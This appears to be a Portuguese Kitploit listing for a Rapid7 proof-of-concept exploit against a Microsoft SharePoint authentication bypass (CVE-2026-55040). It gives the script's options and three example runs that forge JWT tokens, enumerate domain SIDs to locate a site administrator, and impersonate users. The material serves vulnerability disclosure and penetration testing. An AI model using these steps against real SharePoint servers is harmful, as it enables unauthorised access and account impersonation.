Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-55040 — Exploit de prova de conceito para o Microsoft SharePoint CVE-2026-55040 que forja tokens JWT, contorna a autenticação, descobre metadados automaticamente e se faz passar por administradores do site por meio de enumeração de SID. | Kitploit
Ferramentas/GitHubGitHub/sfewer-r7/cve-2026-55040
Autenticação e AutorizaçãoReconhecimentoExploraçãoFerramentas de ImpersonaçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubsfewer-r7/cve-2026-55040

CVE-2026-55040

Exploit de prova de conceito para o Microsoft SharePoint CVE-2026-55040 que forja tokens JWT, contorna a autenticação, descobre metadados automaticamente e se faz passar por administradores do site por meio de enumeração de SID.

Ver Repositório
58159há 1 mêsRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Bypass de Autenticação JWT do Microsoft SharePoint (CVE-2026-55040)

Visão Geral

CVE-2026-55040.py é um script de prova de conceito para explorar a vulnerabilidade de bypass de autenticação do SharePoint, CVE-2026-55040.

Para uma análise técnica completa, consulte nossa Análise da Rapid7.

Uso

root@kitploit:~
$ python CVE-2026-55040.py --help
usage: CVE-2026-55040.py [-h] [--target TARGET] [--host HOST] [--x5t X5T] [--realm REALM] [--sid SID] [--upn UPN]
                         [--auto-upn] [--username USERNAME] [--rid RID] [--max-rid MAX_RID] [--port PORT]
                         [--domain-ip DOMAIN_IP] [--http]

Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)

options:
  -h, --help            show this help message and exit
  --target TARGET       Target IP address (auto-discovers all params)
  --host HOST           SharePoint hostname (auto-discovered)
  --x5t X5T             STS signing cert x5t (auto-discovered from metadata)
  --realm REALM         SharePoint realm GUID (auto-discovered from metadata)
  --sid SID             Windows SID for identity (auto-discovered via LSARPC)
  --upn UPN             UPN for identity, e.g. [email protected] (alternative to --sid, no SMB needed)
  --auto-upn            Auto-construct UPN from HTTPS cert domain (no SMB needed; derives host from cert)
  --username USERNAME   Username for --auto-upn (default: administrator)
  --rid RID             Specific RID to use (skips iteration). If not set, auto-SID iterates 500 then 1000+ to find a
                        site admin
  --max-rid MAX_RID     Max RID to try during auto-SID iteration (default: 10000)
  --port PORT           Non-standard port for target web service (default: 443 for HTTPS, 80 for HTTP)
  --domain-ip DOMAIN_IP
                        Domain controller IP for SMB/LSARPC discovery (default: same as --target). Use when the DC is
                        a different system than the SharePoint server
  --http                Use HTTP instead of HTTPS (disables auto-discovery; must supply --host, --x5t, --realm, --sid
                        manually)

Exemplo 1 (AccessToken)

Ao fornecer apenas um hostname de destino via --host, o JWT forjado usará uma identidade de nomeação AccessToken para o usuário NT AUTHORITY\LOCAL SERVICE.

Nota: Embora o bypass de autenticação seja bem-sucedido, os recursos acessíveis por meio da identidade AccessToken são limitados. Por exemplo, você não consegue acessar determinados endpoints como /_api/contextinfo (mostrado abaixo durante a operação "Obtaining form digest"), mas pode acessar outros recursos protegidos, por exemplo /_vti_bin/sites.asmx. Dependendo da próxima vulnerabilidade à qual o bypass de autenticação é encadeado, o uso de uma identidade de nomeação AccessToken pode ser viável.

root@kitploit:~
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================

[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
  [*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
  [*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] No --domain-ip/--sid/--upn provided; using local service identity
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box

[2] Forging JWT token...
  [+] Token forged (1025 bytes)

[3] Obtaining form digest...
[-] Failed to get digest. Response: {"odata.error":{"code":"-2147024891, System.UnauthorizedAccessException","message":{"lang":"en-US","value":"Access denied. You do not have permission to perform this action or access this resource."}}}

Exemplo 2 (SID)

Ao fornecer um hostname de destino via --host e o --domain-ip de um controlador de domínio correspondente, o JWT forjado usará uma identidade de nomeação urn:office:idp:activedirectory para um usuário identificado por um Windows Security Identifier (SID). O SID desse usuário é descoberto automaticamente para encontrar um administrador do site.

Se você já souber um SID antecipadamente, pode omitir o --domain-ip e passar o SID conhecido via --sid.

root@kitploit:~
$ python3 -m pipx install impacket
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================

[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
  [*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
  [*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] Discovering domain SID via SMB (192.168.86.11)...
  [*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
  [*] DC differs from target; will discover SharePoint hostname separately
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[+] Iterating RIDs to find site admin (500, then 1000-10000)...
  [-] RID 500: no valid user
  [-] RID 1000: no valid user
  [-] RID 1050: no valid user
  [-] RID 1100: no valid user
  [-] RID 1150: no valid user
  [-] RID 1200: no valid user
  [-] RID 1250: no valid user
  [-] RID 1300: no valid user
  [-] RID 1350: no valid user
  [-] RID 1400: no valid user
  [-] RID 1450: no valid user
  [-] RID 1500: no valid user
  [-] RID 1550: no valid user
  [-] RID 1600: no valid user
  [+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
  [+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
  [+] Found site admin at RID 1605, stopping scan
[+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
[+] Login: SHAREPOINT\system

[2] Forging JWT token...
  [+] Token forged (1040 bytes)

[3] Obtaining form digest...
  [+] Digest obtained.

Exemplo 3 (UPN)

Ao fornecer um hostname de destino via --host e o --upn de um usuário conhecido do site, o JWT forjado usará uma identidade de nomeação urn:office:idp:activedirectory para o User Principal Name (UPN) fornecido.

root@kitploit:~
$ python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn [email protected]
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================

[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
  [*] x5t: a1g8DVePm6FB892C0AAB23-Wl7M
  [*] realm: 66aaa1e2-b658-41c4-8911-ff2d5bab5423
[+] Targeting: https://WIN-79B765S1R4G

[2] Forging JWT token...
  [+] Token forged (1047 bytes)

[3] Obtaining form digest...
  [+] Digest obtained.
Baixar ferramenta